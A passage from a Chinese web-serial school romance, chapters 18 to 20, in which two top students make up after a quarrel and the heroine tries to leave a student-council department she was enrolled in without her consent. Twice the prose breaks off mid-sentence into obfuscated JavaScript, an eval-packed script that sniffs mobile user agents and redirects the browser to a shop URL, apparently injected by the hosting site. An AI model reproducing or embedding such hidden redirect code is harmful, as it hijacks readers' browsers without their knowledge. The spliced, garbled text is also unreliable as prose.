拧开的一瓶被推到夏注手边，夏加林的声音跟着一齐靠近，在上方响起： “你到底是不是夏注？” 夏注猛然抬头，夏加林的脸近在咫尺，眼神正定定看着她。 “我不是夏注……”她抵住桌子上推过来的可乐，阻止瓶子继续往前，轻轻勾起嘴角，露出好看的弧度。 下一秒，微笑陡然绽放：“还能是谁啊？！” “哼！”夏加林重新躺回椅子上，拧开瓶子灌了几口可乐。 “我就是觉得你最近挺奇怪的，你不会被什么奇怪的东西替身了吧？” 只能说这想象力和接受力，不愧是混网游圈的苗子。夏注心底咯噔一下，脸上依旧挂着无所谓的笑：“再胡说八道我不介意揍你一顿。” “我怎么胡说八道？那你说说，你好好的怎么突然去找于支扬道歉？” 这一问倒把夏注问住了。 — 自己没处理好私事连累了别人，可不就该道歉吗？人与人之间不就是因为这样相处，才得以长久吗？夏加林为什么会觉得她跟于支扬道歉，是一件极度不可能的事？ 谁料下一秒，夏加林突然蹦出一句：“卑微到这份上，你这次是真栽他手里了？” 夏注：“……” 神经。少男心路十八弯，这是闯到哪个犄角旮旯的赛道去了…… “砰！”夏加林拍案而起，两手撑在桌子边缘，险些站不稳，提出大惊失色三连问：“真喜欢啊？这次认真的？我猜对了是不是？！” 夏注一脸看傻子的眼神看着他，头一次发现这人的智商怎么忽上忽下的…… 见夏注不说话，夏加林以为这是默认了，激动得原地蹦起转了一圈，指着夏注威胁道：“好哇你，你现在也有把柄在我手里了！以后再管我，我就告我妈去！” 夏注“啪”一声捂住了自己眼睛。 更正一下，不是忽上忽下，明明是智商盆地，这种威胁的攻击力度，连给人挠痒痒都不如…… 夏加林高高兴兴地端起碗，又开始嗦他那碗狗都不吃的面条。 一边吃一边还不忘奚落人：“虽然吧……嚼嚼嚼……我以前就跟你说过，像这种大学霸……都很难追的……嚼嚼嚼，人家成绩好，性子又拽又看不起人，迷妹一抓一大把，怎么着也轮不上你。” “不过你也别灰心嗷，迷妹迷妹，瞎了眼的才叫迷妹。你眼光本来就不咋地，你俩要真处上了，那证明他也是瞎，你俩挺配的……” “夏加林！” 一声河东狮吼，给夏加林吓得抖三抖。他赶紧把脖子缩进身体里，慌里慌张开始找补：“别冲动！我是说你俩有戏的！有戏！” “什么有戏？”夏注顺着他的话问。 夏加林暂时保住了自己的脑袋，心想夏注果然已经爱而不得、触及发狂的地步，听不得一点坏话，于是决定捡好听的说。 “你想啊，这世上哪有人会真讨厌喜欢自己的人啊？何况是于支扬这种，常年被人追捧习惯了的男生……谁不喜欢被人捧着供着？换我我也想啊！” 夏注：“你到底想说什么？” “我的意思是，于支扬拒绝过那么多人，怎么就偏偏挂了你一个人的电话？要么是故意的，要么就是真慌了……” 夏注听着听着，竟真被他带入话题，开始回忆起原装姐那次直播表白事件里，被忽视的疑点。 那波闹剧之所以闹大，仅仅只是因为于支扬最后紧急闭麦。 全校直播连线喊老公，把人年级第一吓得紧急闭麦，乍一看，的确是一百个天雷滚滚、冒昧过激、前无古人后无来者的小丑桥段。 论坛上挂她的帖子数都数不清，无一不是说夏注骚/扰一班大学霸，上上下下全在诅咒她吃饭噎脖、喝水塞牙、上厕所没纸的……夏注现在回忆起来，还是不忍直视。 可仔细想想，这个事的重点根本不是原装姐表白，重点是为什么于支扬偏偏就挂了她一个人的电话。 有句话怎么说的来着，事出反常必有妖，越是回避越有鬼。 “所以啊，你不觉得很可疑吗？” 夏加林开口打断了她的思路。 夏注拧眉，肃然直白地开口：“所以你是说……于支扬是故意的？故意让我挨骂，想看我出丑？” “啪——” 这下轮到夏加林无语扶额了。 “不是第一个！是第二个！第二个！” 夏加林气得直用自己脑袋撞桌板，“他慌了啊！他在涉及你的时候慌了！紧急闭麦了！证明你是特殊的，懂不懂？你到底懂不懂？” 懂个屁。 “我靠了……我错了我收回刚才的话，你俩还真TM是天造地设的一对！一个比一个木头……不，他是木头，你是石头！你俩都是死的吗？” 夏注脑袋嗡嗡的，一脸不明所以地看着夏加林的大嗓门哇哇哇，一边控诉一边拿脑门撞桌子。 周遭声音却好像被屏蔽了一样，她一句也接收不到…… 她哥好像在说于支扬喜欢她？这是什么见了鬼的冷笑话…… 18.18于支扬主动道歉 付少校是在学校游泳馆找到于支扬的。 午休时间，太阳最毒辣的时段，露天泳池周边台阶被晒的发烫，就跟行走在蒸笼里没差。 因此当付少校看见于支扬泡在水里、一动不动时，不禁开始焦虑。 “哥们？你被煮熟了吗？” 距离有点远，于支扬其实听见了，但闭气练习正到关键处，他没理。结果下一秒，泳池里“噗通”掉进一颗石子，正好下沉到他脚边。 “朝哪儿扔呢？这是打水漂的地儿吗？素质落家里没带出门还是被狗吃了？” 付少校缩了缩脖子：验证完毕，于支扬还没消气，哪怕整个人泡在水里，也没见身上的火气降下半分…… “草，我要吓死了，还以为你淹死了……今天又没游泳课，你来这干什么？” 这玩笑一点也不好笑。于支扬缓缓靠岸，从泳池里带出一片水花，顺手把刚才那石子捞出来，隔空扔给他。 “你才死了。” 付少校赶紧跟上，边走边从胳肢窝下掏出一个文件夹。 “哎，没淹死你怎么不去开会？主席一点钟就在群里艾特你了！会议开始之后，给你打了七个电话！你TM硬是一个不回啊？你知道她发了多大的火？！” “没听见。” 于支扬正裹着毛巾擦脸，声音闷闷的：“学生会每次开会，就一堆形式主义的口水话，有什么好听的？还非挑午休时间……简直有病。” “那你也不能当众下主席的面子吧？哦谢谢，我不要……” 付少校摆摆手，拒绝了于支扬递来的冰水。 “人家给你打电话你不接，显得我们宣传部特立独行，不听调遣……” 于支扬坐在台阶上，目光看向远处。不知怎的，突然想起上次游泳课，他叫夏注滚到栅栏外边去时，夏注那双明亮眸子里那一抹毫不掩饰的惊喜。 泳池里的波光粼粼被风一圈一圈推开，又收合，再推开……亮晶晶的，晃得他眼睛疼。 那天他的态度很不好，说出来的话也不好听，可她一点也不生气。 怎么这都不生气？ 那昨天晚上，又生什么气？ “给！学生会招新名单，部长要签字确认，就你一个没签了！” 付少校把文件强塞进他手里，递过来一支笔，催他签字。 于支扬这才回过神来，机械地翻开文件夹，从名单最上面一路往下看……修长的指节夹住扉页，正要翻页时，突然顿住了。 倒数第一排表格上，赫然写着夏注的名字！ 正巧付少校在旁边坐下，随口道：“我刚才瞥了一眼，咱们班报名三个，都入选了，夏注好像进了纪律部，另外那两个我不熟……” “你说她怎么会进沈通的纪律部呢？我还以为她会来找……” “你说什么？进哪？” 两人几乎同一时间出声。于支扬声音更大，直接盖过了付少校。 “纪律部啊……怎么了？” 于支扬不知突然被戳中了什么神经，突然起身，丢下文件，一步跳下三级台阶，头也不回地走了。仔细看，脚步略微急促。 “去哪啊？你字还没签！” 于支扬：“扣着！回头再说！” — 一班学生趴在桌面上没睡十分钟，午休铃响了，大家相互推搡叫醒，出去门口的水槽边排队洗脸。 夏注一整个午休没睡，正在盘点早上刚做的语文测试卷，眉心揉的通红：选择题又扣了九分，这玩意儿怎么比数学更复杂…… 她在小本子上算了一笔账，虽然现在加上游泳课及格分，她不会被刷出一班了，但保险起见，名次最好尽量考前。另外，推测于支扬大概会在这个学期结束时，提前报名高考，她绝对不能落后。 课间喧闹，教室门口传来男生们相互打招呼的声音。 夏注没抬头，红线在于支扬的名字上落下两个圈，鼻翼微动，她突然嗅到了一股消毒水味正在缓缓靠近…… 有个身影走到她课桌前，轻轻松松遮去了落在纸上的光线。 不用看都知道来人是谁。 夏注不耐烦地仰起头，正要发作，突然看见于支扬正挑起半边眉毛，一脸意味深长地看向她手里的小本子。 “！”她手速比脑袋更快，迅速合上本子，收进抽屉。 于支扬：“你这是……” 夏注威胁他：“再敢看挖你眼睛！” “……” 于支扬嘴角微微上扬，一经觉察又迅速压下，生怕夏注发现那一秒钟的不自然。他偏过头，从旁边拖来一张椅子。 椅背调转方向，对准夏注，于支扬跨坐上去，双手交叠，把自己的下巴搁在夏注课桌上，开口道：“夏注，我……” 夏注：“没空，滚蛋。” 于支扬：“……夏注，我们谈谈呗？” 夏注：“滚开，我不想跟你谈。” 不知是不是错觉，教室里里外外的嘈杂声似乎突然低了一截。 门口有人探进脑袋看了一眼，又迅速缩了回去，紧接着响起一阵窸窸窣窣。 于支扬浑然不觉，继续两手扒着椅背，偏着头看她。“别呀，我这次很有诚意的～” 诚意个屁。 夏注看着他，突然感觉于支扬脑袋上好像冒出两只毛茸茸的耳朵，轻轻抖动了一下。 她身体微微前倾，在众人看不见的角度，把拳头怼到于支扬眼前，压低声音问：“你身上消毒水味儿熏得我要吐了！这叫诚意？” 于支扬：“那我下次沐浴更衣？” 夏注：“再不滚开我打你了啊？” 于支扬：“噗嗤——” “……” 夏注嘴角一抽，再也忍无可忍，双手发力，扯住于支扬两边衬衫领子重重提起：“笑个屁！给我严肃点！” “呃啊……好的吧～” 于支扬摊开双手举过头顶，居然没还手。说不清是真心投降还是假意安抚，在夏注看来，这举动分明不怀好意。 趁着夏注咬牙思虑的空档，于支扬垂眸，目光扫过自己衣领上那双白皙的、轻微颤抖的手，又看向夏注，眼底的笑意更甚。 他饶有兴致地指了指身后，示意道：“别动手嘛，文明一点，教室里有监控……” “你再说！” “呃……”于支扬一噎，改口道：“我的意思是……你这么用力手肯定很疼。你还生气啊？要不再踩我一脚出出气？” 夏注：“……” 这又是哪一出？于支扬今天居然主动跟她搭话，还一副态度很好的样子？ 夏注有些不适应，一脸狐疑端详着于支扬。感觉后背泛起一身鸡皮疙瘩……不禁开始疑惑，这是于支扬嘴里能吐出的象牙吗？是不是吃错药了…… “于支扬，你有病吧？” 于支扬眼前一亮：“哎呀厉害呀！你怎么知道？” 夏注：“……” “我得了一种……你不原谅我，我就浑身难受的病！” “……” 夏注默默放轻力道，愣在原地。 懂了，还真是来道歉的，这可真是破天荒头一遭。 想到这，她身体微微放松，靠在椅子上笑出声来：“哦，你想道歉能不能有点诚意？你这样我还真看不出来，你先说说你哪里做错了？” 于支扬能低头道歉这件事，已经是意料之外了，何况她也不是小气的人。只要对方态度好一点，她也不是不能原谅。 她的小白鼠建模，总该有点特权。 “谁说我没有诚意的？” 于支扬顺势起身，手肘撑在课桌上，正想凑过去，就被夏注的笔尖挡在了半空，无法向前一寸。 “？” 夏注铅笔笔尖正对着于支扬的喉结，想了想，又调转方向，拿另一端橡皮擦对着他，冷冷警告道： “说话就说话，别凑过来。我受不了你身上那味儿！” 于支扬了然，突然低头笑了笑，“好吧好吧，我发誓我这次不是故意的。” “那你上次是故意的？” “当然不是，我刚才游泳馆过来，那边全是这个味儿……” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16065649|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的不是这个！” 顾左右而言他，于支扬说了半天也没说到她想听的，饶是再迟钝，此刻也意识到于支扬是故意戏弄她。 左一句右一句地溜嘴皮子，就是说不到重点，分明不是真心道歉！ 教室里，一班的两位第一名剑拔弩张，门外，付少校奋力拨开人群，朝里面扫了一眼，听不清具体在说什么。 “啥情况啊？他俩有什么好聊的？” “不知道，听不清楚……我听见于支扬被骂滚开了哈哈哈哈……” “错觉吧，我怎么感觉于支扬对夏注的态度好像跟以前不一样了？还主动跟她搭话？” “这反转有点不对吧？”付少校瞳孔微微放大，有些不可置信地看着教室里粘在一块的两个人。 于支扬这人变脸速度很快，他是知道的，但其实细节上跟外界的传闻很不一样。 一中有史以来最嚣张的一届宣传部长，出了名脾气又臭、嘴又毒，常常在电台直播里，把连线的听众怼到下不来台。他好像什么都敢说，永远一副高高在上，桀骜不驯的形象。 实际上，混熟之后就会发现，他还不止一副面孔。 于支扬就跟魔方似的，你永远猜不到他下一秒会转到哪一面。 付少校曾亲眼见过于支扬卸了一条桌子腿，把两个西装革履的冷脸保镖逼退墙角根，转身就冲着替他打针的护士姐姐哇哇喊疼…… 当时看得他目瞪口呆，因此得出结论：于支扬其实脸皮厚得一批。 千人千面，洒脱圆滑，也正因如此，他能轻而易举跟所有人打成一片，所以遇到任何事，只有他愿意配合、和不想配合，没人能强迫得了他。 这是付少校最佩服于支扬的一点。 所以他此刻着实有点看不懂，于支扬今天怎么就突然转了脾性，去跟夏注道歉？还有谁能强迫得了他？ 教室里，察觉夏注脸色有变，于支扬迅速收敛神色。 “OK言归正传，昨天晚上是我把话说重了，我错了我检讨，我承认说女孩子是个大麻烦就是很过分，何况你还是……” 说到这，于支扬停顿了。 “就是……昨天晚上我心情不太好，本意没想跟你吵架的，一人一局，咱俩扯平了，你原谅一下，行吗？” 原谅一下这种要求，他就这么自然而然说出来了，完全没有半点难为情的模样。 夏注静静看着他，心底的诧异一闪而过。 这人好像……也没有那么多架子，剥去外面层层叠叠包裹的壳子，这副小心翼翼的神态，商量的语气，居然还有那么一点……可爱？ “啪！” 夏注愣神之际，于支扬突然伸出一只手，在她耳边打了个响指：“好的不说话就是默认！咱俩扯平了！” 不是……这就替她决定了？她同意了吗？ 夏注正要龇牙，于支扬“唰”一声从椅子上站起来，双手撑在桌面上，微微躬下身：“为了展示我的诚意，我邀请你进宣传部怎么样？” “……” 神经。 你道歉的方式就是让我给你打工吗？于支扬你是不是脑子有坑？？ “来不来？纪律部没什么好玩的，来我们宣传部呗？来呗？” 于支扬等着她点头，一双桃花眼亮晶晶的，那表情是十二分的热情，十二分的期待。 夏注略微无语地摇了摇头。 “没空，我还要抓成绩，没时间给你打工。” 于支扬听见这话，嘴角的弧度一点一点消失了。 他转身环顾一圈，不知道在找谁，再回头时，眉心紧蹙，脸色缓缓沉下去。 夏注一直低着头专注看题，也不理他。于支扬僵在原地站了一会，突然出手抽走了她手里的铅笔。 “？” 铅笔在课桌边缘“啪嗒”敲击两下，于支扬的声音在上方响起：“怎么没时间？对沈通就有时间了？” 夏注不明所以地望着他，摊开掌心：“还我。关沈通什么事？你到底在说什么？” “你不知道吗？” “知道什么？” 19.19报错部门了！ “不是你报名申请加入学生会的吗？” 于支扬这一反问，夏注想起来了，上次她跟杨宝儿一起收器材的时候，杨宝儿提起学生会招新的事，中途还把她的手机拿去操作了。 可她明明记得，自己报名的是后勤部，绝对不是纪律部。 杨宝儿当时捧着手机坐在花坛边，原话说的是“我们部门挺好的呀怎么报名的人这么少……诶夏注你快来帮我凑个人数，就填个名字，其他资料通通不用填，反正也不一定选上，但宝爷我的门面必须撑起来！” “……” 夏注当时提着收纳篮，腾不出手，心想后勤部也行，就没有撤回申请。 没想到竟然入选了，不仅入选了，还被分去了纪律部？ 她攥着付少校拿来的入选名单再三确认，最后把视线从文件里拔出来，对着于支扬露出一个比哭还难看的笑脸。 “如果我说这事我不知情……你信吗？” 于支扬双手抱臂坐在课桌上，沉着脸冷哼一声，明显不信。 付少校一头雾水站在旁边，看着于支扬阴阳怪气的模样，总觉得不太对劲，最后强忍住没把“夏注进哪个部门关你什么事”这句话问出来。 姑且认为是夏注报名纪律部这件事，背叛了他俩的伟大友谊？ 两部门竞争，选他不选我，友谊的小船可不得说翻就翻？付少校意味深长地看了于支扬一眼，心里更好奇他俩啥时候建的小船了？ 夏注心底更慌。 入选任何部门都可以，但怎么偏偏是纪律部？纪律部部长是沈通，于支扬的死对头！ “我真不是故意的，我明明报了后勤部，谁能想到居然，分错了……” 夏注小心翼翼扫了于支扬一眼，尾音越来越小，不知怎的莫名觉得有点心虚，转念一想，又觉得莫名其妙！ 心虚什么？？ 一中学生会共有八个部门，夏注事后研究过，这几年来，校领导最大程度放权，让学生自治的势头越来越明显。 八个部门分管着学校所有的日常事宜，部长们各自为营，互不相让，颇有些按头站队、结成团体的意思。 其中升华一班的部长就占了四个，尤其于支扬和沈通两人，平日在自己班里就已经势同水火，夏注在短短两个星期之内，光见他俩吵架就遇上了三回！ 跟对苗渔、杨宝儿的态度不同，于支扬和沈通，是摆在台面上已经翻脸、互相针对的关系。 现在自己莫名其妙进了纪律部，说自己不想站队也晚了，难怪于支扬会不高兴。 “纪律部就纪律部吧，这也不能代表什么，对吧？于支扬你也……” “你随便吧。” 两人几乎同时开口。 于支扬原本坐在课桌上，说完这句，双脚落地，一只手推开付少校，头也不回地出去了。 夏注茫然看着他的背影：“他啥意思？” 付少校摩挲着下巴，翻译道：“就是你拒绝了他的邀请，选择站在沈通那边，那就代表跟他划清界限的意思，以后别招惹了奥。” 夏注：“？” “怎么就划清界限了？这队是非站不可吗？我只是加个学生会啊，又不是卖自己，我想去哪就去哪，我是自由的好吗？就非要搞拉帮结派那一套，幼不幼稚……” 付少校伸出两根手指，轻轻摇晃，“没有没有，没那么严重……但这代表什么，你真的不懂吗？” “不是你自己说的代表站队？” “呃……” 付少校一噎，起身把椅子挪回原位，回头对着夏注笑了笑。 “夏姐，我发现你这人真挺特别的，你的想法……嗯，怎么说呢，在人群里总是有点……格格不入？” 夏注眨巴眨巴眼睛，示意他继续。 “有的事情，大家都默认了，你非要问，即使你心里门清，道理也都懂，还要问，问了又不遵守，就很像是……” “？” 付少校抓了抓脑袋，突然眼前一亮：“旁观者，对，就是旁观者。别人是不懂装懂，你是懂装不懂。” 预备铃响起，于支扬出去洗了把脸就进来了。 付少校眼珠示意夏注看向那边，压低声音问她：“夏姐，我冒昧猜一句啊，你其实早就知道于狗希望你退出的，对吧？你不会看不出来。” 夏注一时不知道该怎么回答。 “你只是不想妥协，不想顺了他的意，换句话说，你其实不太在意他怎么想……” 于支扬回到自己座位上，垂着脑袋在桌肚里翻课本，从始至终眼神没看向这边。 “你到底想说什么？”夏注问。 “你不喜欢他呀。” 付少校起身，拍了拍衬衫上并不存在的灰尘，用只有两个人能听见的嗓音道：“一开始是于支扬先混蛋的，你该报复也报复了，差不多行了吧，别最后两个人都陷进去了……” 这话说得云里雾里，夏注还没来得及问，付少校就转身回自己座位了。 下午四节课，于支扬跟她隔着空道，三排课桌，一句话也没搭上。 夏注想了整整一个下午，最后还是决定在晚饭时间跑一趟科技楼，退出纪律部。 不是为了于支扬，而是研究过纪律部的职责后，发现自己不是这块料，对抓纪律这种得罪人的活，更是提不起什么兴趣。 — 学委会办事处设在科技楼三层大厅，夏注刚进一楼，恰巧跟一个熟悉的人影迎面撞上。 窦菲看见夏注时，表情闪过一瞬的不自然，但很快恢复如初，主动跟她打了个招呼。见她想走，夏注拉住了她的胳膊。 “窦菲，周一在直播里指控于支扬的人，是你吧？” 窦菲没料到夏注会直接开门见山，对如此直白的质问语气，感到有些不可置信。 “他自己干的好事还不让人说？夏注你怎么回事，你还护着他？” “我说过了，搬器材只是日常的班级内务，人人都要轮着做，没有霸凌这回事。” 夏注一字一句问：“我给你发的信息你没看吗？这两天我每次去你们班找你，都不见人影，你躲什么呢？” 窦菲皱眉看着她，胸口微微起伏，一楼大厅人来人往，不是谈话的地方。她抓住夏注的胳膊朝外走，两人一路走到到花坛边。 夏注情绪还算平稳，她就想搞清楚窦菲先前一系列不符合常理的行为，究竟出于什么目的。 “夏注，你真是让我开眼，我都打听过了，于支扬在你们班刻意针对你，还想把你赶出一班，都这样了你还能替他说话？” 窦菲抹了把脸，试图跟夏注讲道理：“女孩子在感情里越陷越深，是会吃亏的懂不懂，你可别是个恋爱脑吧夏注？不能吧？啊，等你以后后悔了，哭都没地方哭去……” 窦菲越说越激动，好像受委屈的人是她自己一样。 “未来会发生什么，你怎么会知道？” 夏注问完，认真观察着窦菲脸上的每一个微表情。 她总觉得窦菲的情绪不像装的，每一个动作，恨铁不成钢的语气，简直跟徐霜在家里教训夏加林的时候一模一样。 窦菲对她的关心似乎太过头了，但又说不出哪里不对劲。 “我做过的事从来不会后悔，跟你也没有多大关系，我不喜欢别人干涉我做什么。” 尤其是不熟的人，这句夏注没说出来。 “我是替你担心！啧，你到底能不能分清好歹？！你实话跟我说，于支扬现在是不是还缠着你？” “没有，非要这么说的话，应该是我缠着他。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16071050|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夏注突然问：“窦菲，你认识我哥吗？” 窦菲张了张嘴巴，不明白她想说什么。 “我哥很喜欢打游戏，我最近看见他在游戏里当皇帝，甚至会开好多小号，然后重重复复过剧情，一模一样的游戏玩好多遍。” “我有一次实在忍不住，就问他，明明已经知道结局那个大臣会造反了，还一直重开，是闲的没事干么？你猜他怎么说的？” 花坛里传出窸窸窣窣的响动，窦菲偏头看去，是两只小麻雀在空中打架，由于俯冲太快，没刹住翅膀，一不小心困在灌木丛里出不来了。 夏注幽幽道：“他骂我懂个屁，他享受的就是提前预知一切，然后随随便便弄死大Boss的快乐。” 窦菲：“……” 其中一只麻雀翻滚一圈，掉在地上，然后拍拍翅膀飞远了。 夏注的视线跟着那团灰色看向远方，声音不疾不徐：“我有点好奇，如果你是他，你也会觉得弄死游戏boss的过程很爽吗？” “不知道你在说什么，我也不认识你哥。” 窦菲看夏注的眼神有些复杂。 她原本以为夏注会为了于支扬跟她吵一架，没想到全程竟然这么冷静，提前准备好的话术完全派不上用场。 但她还是想再挣扎一下。 “夏注，你也别怪我多管闲事。你现在就是一头扎进去了，压根不清醒！所以我说什么你都听不进去，但你现在的当务之急就是应该好好学习，感情的事以后再说好吗？” “好啊，好好学习。”夏注冲她勾了勾嘴角，轻轻附到她耳边，说了一句悄悄话。 “那我告诉你一个秘密，我在我哥手机里，见过你的照片……” 十七八岁的女孩子，眼底全是叫人看不懂的情绪，明明嘴角上扬，眼睛里却没有半点笑意。 这句话莫名让窦菲感觉一阵头皮发麻。 “你看错了！” 窦菲攥着书包带子的手不自觉收紧，在发现到夏注的目光后，又迅速放松下来。 “对了，你这个点来科技楼干什么？有什么事吗？” 窦菲转移话题道。 结果夏注下一句话，让她原本紧绷的心脏又停滞了一瞬。 夏注说：“哦，不小心进了纪律部，我来申请退出。” “？！为什么要退出？” 窦菲突然扑过来抓住的她手臂，痛心疾首道：“你当纪律部是好进的？为什么要退出？现在还没来得及退吧？啊？是不是于支扬叫你退？你就这么听他的话？夏注啊你真的是……” “你这么大反应干什么？” 夏注一脸古怪地看着她，突然有个不好的猜测。 “我一开始报名的是后勤部，按理说学生会招人都是一对一，从来没有调剂这个说法……” 手臂上的力道突然消失，窦菲后退了一步，不自然地偏过头，将额前刘海捋至耳后。 夏注恍然大悟，反手拽住她，问：“我是怎么进的纪律部？哦，又是你！我就说我连资料都没填全，怎么就进的这么容易？” “……” “你别动，你给我说清楚，是不是你把我弄到纪律部去的？我记得你好像就是纪律部的……” 夏注抬高音量，引得刚从科技一楼出来的学生纷纷侧目。 窦菲脸色有些难看，想把自己的手抽出来，无奈夏注正在气头上，手劲大的惊人，两人这一拉扯，围观的人更多了。 “我就是觉得……你更适合纪律部……” 窦菲叹了口气，干脆放弃挣扎。 “那只是你自己觉得！窦菲，窦同学，算我求求你，能不能别擅作主张？我的事，你就通通都要掺和一脚？这到底跟你有什么关系啊，你除了坑我，就没有自己的事要做了吗？” “……” 20.20我想退出纪律部 夏注喜欢自己做决定。在家时连徐霜都很少干涉她，这次窦菲却是真真切切踩中了她的雷点。 她隐约觉得窦菲对她的私事这么上心，要么是纪委属性大爆发、见不得女高中生情窦初开；要么就是对于支扬有偏见，把自己当枪使。 最后一种可能，就是单纯有病，当然，这个不在怀疑范围之内。 当下情境在夏注看来，就好似儿童乐园里的土拨鼠游戏机，窦菲手握锤子，闭着眼睛一通乱砸，被砸中的出头鼠就得听从她的命令，乖乖往回缩。 倒霉鼠可能还会认栽，吃下这个哑巴亏，可偏偏这次砸中的人是夏注。 “你是不是觉得只要先斩后奏，我就会乖乖听话，被你牵着鼻子走？” 夏注不笑了，眼神亮得骇人，那是窦菲从未见过的表情，就好像她身上那种松弛舒适的气息，一下子全部消失了。 这是夏注第一次对她翻脸，窦菲很多年后回想起这一刻，还是会不由自主感到窒息。 窦菲愣在原地，甚至忘了解释。 “你是不是要说，你做这一切都是为了我好？” 夏注的嗓音好像很轻，却带着不属于那个年龄该有的压迫感。 “那很抱歉了，算我不识好歹，我这人就是有点小反骨，不喜欢别人对我的决定指手画脚。” 窦菲：“……” “我刚才在教室的时候，本来想着，这个纪律部能退就退，不能退也没关系，我可以勉强凑合一下。不过现在我改注意了……” “我还就非退不可了。” “我可以自愿凑合，但没有人能强迫我凑合。” 窦菲闭上眼睛，深深呼出一口气，再睁开时，眼底满是失望和复杂，就好像融杂了许多年的疲惫感。 “夏注，你现在正是叛逆的阶段，我知道我现在说什么你都听不进去，但我总归不会害你。” “那我谢谢你。” 夏注说完，擦着窦菲的肩膀掠过她，径直朝着学委会大厅去了。 — 三楼大厅，各大部门学生人来人往。 学校预留的晚饭时间整整两个半小时，大多数人吃过晚饭后，还有很长时间自行安排，因此这个时间点，过来办事的、开会的学生也最多。 三楼楼梯口正对面，有一张长长的接待桌，两个女生正趴在桌上照镜子。 “诶你看，我最近黑眼圈又重了，昨天晚上涂了厚厚一层乳膏都没用，你上次说特好用的那个牌子，叫什么来着？” “你好。” “什么？我没听清。” “你好！学生会招新在这吗？”夏注两根手指扣扣桌子，又问了一遍。 “哎呀你能不能别打断我们说话？你这人怎么……” 短发女生不耐烦地叹了一口气，合上小镜子，刚抬起头，就看见前方站着一个高高瘦瘦的漂亮学姐，一时间看入了迷，全然忘记自己要说什么了。 旁边的女孩赶紧用笔戳戳她，短发女生这才反应过来，脱口而出问：“同学，你皮肤真好，还有你的长头发，好漂亮，你是怎么养的呀？” 夏注：“……这不是学生会招新处吗？” “噢是的，但你来晚了，报名早就结束了，下次吧。” 另一位戴眼镜的女孩子赶忙打圆场。 “不是，你们误会了。” 夏注一边说，一边拉开自己的单肩包包拉链，从里边取出刚刚打印好的A4纸。 “我不报名，我申请退出，请问沈通在哪？我要找他签字。” “你说什么？” “我要退出。” “再说一遍？” “沈通在哪？” “……” 夏注将A4纸拍在桌面上，两个女生传着看，上面赫然写着“退会申请”四个大字。 没有听错，她就是要退出。 短发女生瞪大双眼，有些不可置信的又问了一遍：“你……确定是退出？还是退出纪律部？” 四周那些匆匆忙忙的脚步似乎突然停滞，无一不被这一声问询吸引了目光。 夏注被看得莫名其妙：“我说要退出，有什么问题吗？是不能退？” “也不是不能退……” 就是很奇怪，人人都挤破了脑袋想进学生会，尤其是纪律部、宣传部这种大热门。这人都已经进来了，居然还想退出，她到底是怎么进来的？ 短发女生继续往下看，看到下面的班级信息时，立马悟了。 我靠升华一班的！那难怪了，这TM不就是现成的通行证么…… “那么小姐姐，我请问一下，你是因为高考换届需要退出吗？” “不是。” “那是因为身体原因不能任职？” “也不是。” “那总得有个理由吧？” “你们录错了。”夏注说，“我报名的是后勤部，不是纪律部。你们学生会内部有人私自篡改我的志愿，在我不知情的情况下，把我投到纪律部去了。” 她每说一句，周围的议论声就高出一截。 接待台的两个女同学从来没听见过这种退出理由，小声商量着该怎么处理。 几分钟后，那个短发女生小心翼翼道：“想退出是可以的，但可能有点麻烦哈哈哈……因为名单已经提交到政教处了，一般来说是无法修改的……” 夏注：“我不愿意进纪律部，麻烦退一下，谢谢，有什么手续，我去解决。” 倒不是故意为难人，夏注也知道可能没那么好退，她来的时候就已经做好了被拒绝的准备。在半路遇见窦菲得知真相之后，反倒更有底气了。 “要不这样吧学霸，你先去问问沈部长的意见？” 短发女生从椅子上站起来，把退会申请还给她。 “你们不是一个班的吗？你先跟他商量一下，问问他应该怎么处理？对了，他现在在开会来着，还有三分钟就会准时结束，你再等等哦……” 夏注眉心微蹙，隐隐感觉不太妙。 沈通那种性格，像是商量得通的人吗？要知道他今天早上迟到了五秒钟，沈大纪委都要把她隔在外边，罚站整整一个早读！ 刚才在教室也是，夏注刚打印好申请折返教室，沈通同桌说他吃饭很准时；他追去学校食堂，又有男生说他值班很准时；现在他来到这，又说他开会很准时…… 这死木头怎么看都不会允许变动，夏注突然觉得自己重获自由无望了…… — 事实证明，接待处的女同学没有撒谎。 三分钟一到，拐角处会议厅的大门果然准时打开了。 夏注看着纪律部一群戴着眼镜的小古板走出来，一个个校服整整齐齐，表情讳莫如深，人手一本考勤册子，相互间没什么交流。 跟他们那位部长简直如出一辙。 大概是被一大波纪律部的人震慑住了，整个走廊突然安静下来，大家纷纷让路，没人再说话，连走动都很少。 沈通是最后一个出来的，手里什么也没拿，转身关上了会议室大门。 一大波纪委四散离开，其他人才开始恢复走动。 “沈部长！这里这里！！” 见沈通要走，接待台的两个女生大着胆子叫住他，喊完之后，吓得心脏砰砰直跳。 沈通脚步一顿，调转方向，不紧不慢朝这边走来。 “沈部长，有人要退纪律部！” 此言一出，原本站在楼梯口准备下楼的学生纷纷侧目。 宣传部办公室门口，有人探出头来看热闹，“啥？退纪律部？握草我没听错吧？他们部门一旦进去了还出得来？” 是个头顶蓝色棒球帽的男生，鼻梁高挺，瞳孔淡蓝色，像是混血。校服衬衫穿的歪七扭八，手握粉刷似乎正在画画。 对门刚好是纪律部的办公室，里边立马有个女声反驳道：“废话！又不是坐牢！” 